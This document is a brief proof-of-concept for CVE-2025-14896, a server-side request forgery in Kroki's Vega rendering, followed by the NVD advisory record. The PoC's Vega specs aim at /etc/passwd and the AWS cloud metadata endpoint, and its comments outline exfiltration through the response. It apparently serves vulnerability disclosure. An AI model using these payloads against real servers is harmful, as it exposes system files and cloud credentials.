CVE-2025-14896

// CVE-2025-14896 PoC - Malicious Vega Specification for SSRF // This PoC demonstrates how an attacker can craft a malicious Vega spec to trigger SSRF const maliciousVegaSpec = { "$schema": "https://vega.github.io/schema/vega/v5.json", "width": 400, "height": 400, "data": [ { "name": "remote_data", "url": "file:///etc/passwd", // Attacker can change to any URL or file path "format": { "type": "json" } } ], "marks": [ { "type": "text", "from": {"data": "remote_data"}, "encode": { "enter": { "text": {"field": "data"} } } } ] }; // For array-type spec (bypassing safeMode) const maliciousArraySpec = [ { "url": "http://169.254.169.254/latest/meta-data/", // AWS metadata SSRF "format": {"type": "json"} } ]; // Attack scenario: // 1. Attacker sends POST request to Kroki API with malicious Vega spec // 2. Kroki's convert() function processes the spec // 3. safeMode check is bypassed due to array-type spec // 4. Server makes request to attacker-controlled or internal URL // 5. Sensitive data is exfiltrated via response console.log('Malicious Vega spec created for CVE-2025-14896');

{"cve": {"id": "CVE-2025-14896", "sourceIdentifier": "[email protected]", "published": "2025-12-18T17:15:47.690", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "due to insufficient sanitazation in Vega’s `convert()` function when `safeMode` is enabled and the spec variable is an array. An attacker can craft a malicious Vega diagram specification that will allow them to send requests to any URL, including local file system paths, leading to exposure of sensitive information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-552"}]}], "references": [{"url": "https://github.com/yuzutech/kroki/commit/f31093cd8a0a1d6999c43d560f62d1e82d59c77e", "source": "[email protected]"}]}}